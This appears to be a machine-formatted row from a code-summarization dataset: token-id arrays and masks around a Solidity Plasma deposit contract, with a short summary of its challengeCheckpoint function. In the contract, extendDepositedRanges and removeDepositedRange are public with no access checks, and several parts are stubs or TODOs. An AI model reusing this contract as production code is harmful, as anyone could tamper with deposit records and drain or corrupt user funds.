0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1377,
327,
3844,
382,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
/* External Imports */
import "openzeppelin-solidity/contracts/math/Math.sol";
import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol";
/* Internal Imports */
import {DataTypes as types} from "./DataTypes.sol";
import {CommitmentChain} from "./CommitmentChain.sol";
/**
* @title Deposit
* @notice TODO
*/
contract Deposit {
/*** Structs ***/
struct CheckpointStatus {
uint256 challengeableUntil;
uint256 outstandingChallenges;
}
struct Challenge {
types.Checkpoint challengedCheckpoint;
types.Checkpoint challengingCheckpoint;
}
/*** Events ***/
event CheckpointStarted(
types.Checkpoint checkpoint,
uint256 challengeableUntil
);
event CheckpointFinalized(
bytes32 checkpoint
);
event LogCheckpoint(
types.Checkpoint checkpoint
);
event ExitStarted(
bytes32 exit,
uint256 redeemableAfter
);
event ExitFinalized(
bytes32 exit
);
event CheckpointChallenged(
Challenge challenge
);
/*** Public ***/
ERC20 public erc20;
CommitmentChain public commitmentChain;
uint256 public totalDeposited;
mapping (bytes32 => CheckpointStatus) public checkpoints;
mapping (bytes32 => uint256) public exitRedeemableAfter;
mapping (uint256 => types.Range) public depositedRanges;
mapping (bytes32 => bool) public challenges;
/*** Public Constants ***/
// TODO - Set defaults
uint256 public constant CHALLENGE_PERIOD = 10;
uint256 public constant EXIT_PERIOD = 20;
/**
* @dev Constructs a deposit contract with a specified erc20 token
* @param _erc20 TODO
* @param _commitmentChain TODO
*/
constructor(address _erc20, address _commitmentChain) public {
erc20 = ERC20(_erc20);
commitmentChain = CommitmentChain(_commitmentChain);
}
/**
* @notice
* @param _amount TODO
* @param _initialState TODO
*/
function deposit(uint256 _amount, types.StateObject memory _initialState) public {
// Transfer tokens to the deposit contract
erc20.transferFrom(msg.sender, address(this), _amount);
// Create the Range, StateUpdate & Checkpoint
types.Range memory depositRange = types.Range({start:totalDeposited, end: totalDeposited + _amount });
types.StateUpdate memory stateUpdate = types.StateUpdate({
range: depositRange, stateObject: _initialState,
depositAddress: address(this), plasmaBlockNumber: getLatestPlasmaBlockNumber()
});
types.Checkpoint memory checkpoint = types.Checkpoint({
stateUpdate: stateUpdate,
subrange: depositRange
});
// Extend depositedRanges & increment totalDeposits
extendDepositedRanges(_amount);
// Calculate the checkpointId and add it checkpoints "pre-finalzed"
bytes32 checkpointId = getCheckpointId(checkpoint);
CheckpointStatus memory status = CheckpointStatus(
{challengeableUntil: block.number - 1, outstandingChallenges: 0});
checkpoints[checkpointId] = status;
// Emit an event which informs us that the checkpoint was finalized
emit CheckpointFinalized(checkpointId);
emit LogCheckpoint(checkpoint);
}
function extendDepositedRanges(uint256 _amount) public {
uint256 oldStart = depositedRanges[totalDeposited].start;
uint256 oldEnd = depositedRanges[totalDeposited].end;
// Set the newStart for the last range
uint256 newStart;
if (oldStart == 0 && oldEnd == 0) {
// Case 1: We are creating a new range (this is the case when the rightmost range has been removed)
newStart = totalDeposited;
} else {
// Case 2: We are extending the old range (deleting the old range and making a new one with the total length)
delete depositedRanges[oldEnd];
newStart = oldStart;
}
// Set the newEnd to the totalDeposited plus how much was deposited
uint256 newEnd = totalDeposited + _amount;
// Finally create and store the range!
depositedRanges[newEnd] = types.Range(newStart, newEnd);
// Increment total deposited now that we've extended our depositedRanges
totalDeposited += _amount;
}
// This function is called when an exit is finalized to "burn" it--so that checkpoints and exits
// on the range cannot be made. It is equivalent to the range having never been deposited.
function removeDepositedRange(types.Range memory range, uint256 depositedRangeId) public {
types.Range memory encompasingRange = depositedRanges[depositedRangeId];
// Split the LEFT side
// check if we we have a new deposited region to the left
if (range.start != encompasingRange.start) {
// new deposited range from the unexited old start until the newly exited start
types.Range memory leftSplitRange = types.Range(encompasingRange.start, range.start);
// Store the new deposited range
depositedRanges[leftSplitRange.end] = leftSplitRange;
}
// Split the RIGHT side (there 3 possible splits)
// 1) ##### -> $$$## -- check if we have leftovers to the right which are deposited
if (range.end != encompasingRange.end) {
// new deposited range from the newly exited end until the old unexited end
types.Range memory rightSplitRange = types.Range(range.end, encompasingRange.end);
// Store the new deposited range
depositedRanges[rightSplitRange.end] = rightSplitRange;
// We're done!
return;
}
// 3) ##### -> $$$$$ -- without right-side leftovers & not the rightmost deposit, we can simply delete the value
delete depositedRanges[encompasingRange.end];
}
function startCheckpoint(
types.Checkpoint memory _checkpoint,
bytes memory _inclusionProof,
uint256 _depositedRangeId
) public {
bytes32 checkpointId = getCheckpointId(_checkpoint);
require(commitmentChain.verifyInclusion(_checkpoint.stateUpdate, _inclusionProof), "Checkpoint must be included");
require(isSubrange(_checkpoint.subrange, _checkpoint.stateUpdate.range), "Checkpoint must be on a subrange of the StateUpdate");
require(isSubrange(_checkpoint.subrange, depositedRanges[_depositedRangeId]), "Checkpoint subrange must be on a depositedRange");
require(!checkpointExists(checkpointId), "Checkpoint must not already exist");
// Create a new checkpoint
checkpoints[checkpointId] = CheckpointStatus(block.number + CHALLENGE_PERIOD, 0);
emit CheckpointStarted(_checkpoint, checkpoints[checkpointId].challengeableUntil);
}
function startExit(types.Checkpoint memory _checkpoint) public {
bytes32 checkpointId = getCheckpointId(_checkpoint);
// Verify this exit may be started
require(checkpointExists(checkpointId), "Checkpoint must exist in order to begin exit");
require(exitRedeemableAfter[checkpointId] == 0, "There must not exist an exit on this checkpoint already");
require(_checkpoint.stateUpdate.stateObject.predicateAddress == msg.sender, "Exit must be started by its predicate");
exitRedeemableAfter[checkpointId] = block.number + EXIT_PERIOD;
emit ExitStarted(checkpointId, exitRedeemableAfter[checkpointId]);
}
function finalizeExit(types.Checkpoint memory _exit, uint256 depositedRangeId) public {
bytes32 checkpointId = getCheckpointId(_exit);
// Check that we are authorized to finalize this exit
require(_exit.stateUpdate.stateObject.predicateAddress == msg.sender, "Exit must be finalized by its predicate");
require(checkpointFinalized(checkpointId), "Checkpoint must be finalized to finalize an exit");
require(block.number > exitRedeemableAfter[checkpointId], "Exit must be redeemable after this block");
require(isSubrange(_exit.subrange, depositedRanges[depositedRangeId]), "Exit must be of an deposited range (one that hasn't been exited)");
// Remove the deposited range
removeDepositedRange(_exit.subrange, depositedRangeId);
// Delete the exit & checkpoint entries
delete checkpoints[checkpointId];
delete exitRedeemableAfter[checkpointId];
// Transfer tokens to the deposit contract
uint256 amount = _exit.subrange.end - _exit.subrange.start;
erc20.transfer(_exit.stateUpdate.stateObject.predicateAddress, amount);
// Emit an event recording the exit's finalization
emit ExitFinalized(checkpointId);
}
function deprecateExit(types.Checkpoint memory _exit) public {
bytes32 checkpointId = getCheckpointId(_exit);
require(_exit.stateUpdate.stateObject.predicateAddress == msg.sender, "Exit must be deprecated by its predicate");
delete exitRedeemableAfter[checkpointId];
}
function deleteOutdatedExit(types.Checkpoint memory _exit, types.Checkpoint memory _newerCheckpoint) public {
bytes32 outdatedExitId = getCheckpointId(_exit);
bytes32 newerCheckpointId = getCheckpointId(_newerCheckpoint);
require(intersects(_exit.subrange, _newerCheckpoint.subrange), "Exit and newer checkpoint must overlap");
require(_exit.stateUpdate.plasmaBlockNumber < _newerCheckpoint.stateUpdate.plasmaBlockNumber, "Exit must be before a checkpoint");
require(checkpointFinalized(newerCheckpointId), "Newer checkpoint must be finalized to delete an earlier exit");
delete exitRedeemableAfter[outdatedExitId];
}
function challengeCheckpoint(Challenge memory _challenge) public {
bytes32 challengedCheckpointId = getCheckpointId(_challenge.challengedCheckpoint);
bytes32 challengingCheckpointId = getCheckpointId(_challenge.challengingCheckpoint);
bytes32 challengeId = getChallengeId(_challenge);
// Verify that the challenge may be added
require(exitExists(challengingCheckpointId), "Challenging exit must exist");
require(checkpointExists(challengedCheckpointId), "Challenged checkpoint must exist");
require(intersects(_challenge.challengedCheckpoint.subrange, _challenge.challengingCheckpoint.subrange), "Challenge ranges must intersect");
require(_challenge.challengingCheckpoint.stateUpdate.plasmaBlockNumber < _challenge.challengedCheckpoint.stateUpdate.plasmaBlockNumber, "Challenging cp after challenged cp");
require(!challenges[challengeId], "Challenge must not already exist");
require(checkpoints[challengedCheckpointId].challengeableUntil > block.number, "Checkpoint must still be challengable");
// Add the challenge
checkpoints[challengedCheckpointId].outstandingChallenges += 1;
challenges[challengeId] = true;
}
function removeChallenge(Challenge memory _challenge) public {
bytes32 challengedCheckpointId = getCheckpointId(_challenge.challengedCheckpoint);
bytes32 challengingCheckpointId = getCheckpointId(_challenge.challengingCheckpoint);
bytes32 challengeId = getChallengeId(_challenge);
// Verify that the challenge may be added
require(challenges[challengeId], "Challenge must exist");
require(!exitExists(challengingCheckpointId), "Challenging exit must no longer exist");
// Remove the challenge
challenges[challengeId] = false;
checkpoints[challengedCheckpointId].outstandingChallenges -= 1;
}
/*
* Helpers
*/
function getCheckpointId(types.Checkpoint memory _checkpoint) private pure returns (bytes32) {
return keccak256(abi.encode(_checkpoint.stateUpdate, _checkpoint.subrange));
}
function getChallengeId(Challenge memory _challenge) private pure returns (bytes32) {
return keccak256(abi.encode(_challenge));
}
function getLatestPlasmaBlockNumber() private returns (uint256) {
return 0;
}
function isSubrange(types.Range memory _subRange, types.Range memory _surroundingRange) public pure returns (bool) {
return _subRange.start >= _surroundingRange.start && _subRange.end <= _surroundingRange.end;
}
function intersects(types.Range memory _range1, types.Range memory _range2) public pure returns (bool) {
return Math.max(_range1.start, _range2.start) < Math.min(_range1.end, _range2.end);
}
function checkpointExists(bytes32 checkpointId) public view returns (bool) {
return checkpoints[checkpointId].challengeableUntil != 0 || checkpoints[checkpointId].outstandingChallenges != 0;
}
function checkpointFinalized(bytes32 checkpointId) public view returns (bool) {
// To be considered finalized, a checkpoint:
// - MUST have no outstanding challenges
// - MUST no longer be challengable
return checkpoints[checkpointId].outstandingChallenges == 0 && checkpoints[checkpointId].challengeableUntil < block.number;
}
function exitExists(bytes32 checkpointId) public view returns (bool) {
return exitRedeemableAfter[checkpointId] != 0;
}
}
|
Verify that the challenge may be added Add the challenge
|
function challengeCheckpoint(Challenge memory _challenge) public {
bytes32 challengedCheckpointId = getCheckpointId(_challenge.challengedCheckpoint);
bytes32 challengingCheckpointId = getCheckpointId(_challenge.challengingCheckpoint);
bytes32 challengeId = getChallengeId(_challenge);
require(exitExists(challengingCheckpointId), "Challenging exit must exist");
require(checkpointExists(challengedCheckpointId), "Challenged checkpoint must exist");
require(intersects(_challenge.challengedCheckpoint.subrange, _challenge.challengingCheckpoint.subrange), "Challenge ranges must intersect");
require(_challenge.challengingCheckpoint.stateUpdate.plasmaBlockNumber < _challenge.challengedCheckpoint.stateUpdate.plasmaBlockNumber, "Challenging cp after challenged cp");
require(!challenges[challengeId], "Challenge must not already exist");
require(checkpoints[challengedCheckpointId].challengeableUntil > block.number, "Checkpoint must still be challengable");
checkpoints[challengedCheckpointId].outstandingChallenges += 1;
challenges[challengeId] = true;
}
| 1,003,763 |
[
1,
4625,
348,
7953,
560,
30,
225,
8553,
716,
326,
12948,
2026,
506,
3096,
1436,
326,
12948,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
